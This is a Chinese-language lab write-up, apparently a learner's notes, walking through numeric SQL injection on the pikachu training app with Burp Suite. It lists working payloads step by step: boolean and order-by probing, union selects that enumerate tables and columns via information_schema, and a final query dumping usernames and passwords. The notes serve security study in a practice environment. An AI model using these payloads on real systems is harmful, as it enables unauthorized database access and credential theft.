实验环境以及工具
phpstudy,burpsuite,pikachu,Navicat Premium 16
首先bp(burpsuite)抓包,放到Repeater(重放器)
这里知道是数字型就不做字符数字型判断了
1.判断是否有注入点
(1)将id=1改为id=1 and 1=1(页面正常)
(2)将id=1改为id=1 and 1=2(页面报错)
说明是存在注入点的
2.通过order by语句判断有几个注入点()
(1)id=1 order by 2(页面正常)
(2)id=1 order by 3(页面报错)
说明有两个注入点
3.尝试union联合来确定注入点
id=1 union select 1,2 (随便2个数字)
4.爆数据库(可以看到名为pikachu的数据库)
id=1 union select 1,database()
5.爆表名
id=1 union select 1,table_name from information_schema.tables where table_schema='pikachu'
下面图可以看到关键词users
这里我详细解释一下table_name,information_schema.tables,table_schema(我第一次学的时候想好久没想明白)
information_schema.tables
:information_schema
是 MySQL 自带的系统数据库,其中的tables
表是系统表,它存储了 MySQL 服务器中所有数据库和表的元数据信息,是真实存在且可以被查询的。通过查询这个表,能获取各个数据库中的表名、表类型、创建时间等详细信息。table_name
是一个列名,通常用于表示数据库中表的名称。在 SQL 查询里,它代表从某个表中选取的这一列数据。table_schema
是information_schema.tables
表中的一个列,用于存储每个表所属的数据库名称。
还没理解的话可以仔细看看这张图, 这是Navicat Premium 16(数据库可视化工具)
7.爆列名
id=1 union select 1,column_name from information_schema.columns where table_name='users'
可以看到username和password列
8.爆密码
id=1 union select username,password from users
有个地方还是有点疑惑, 暂时先这样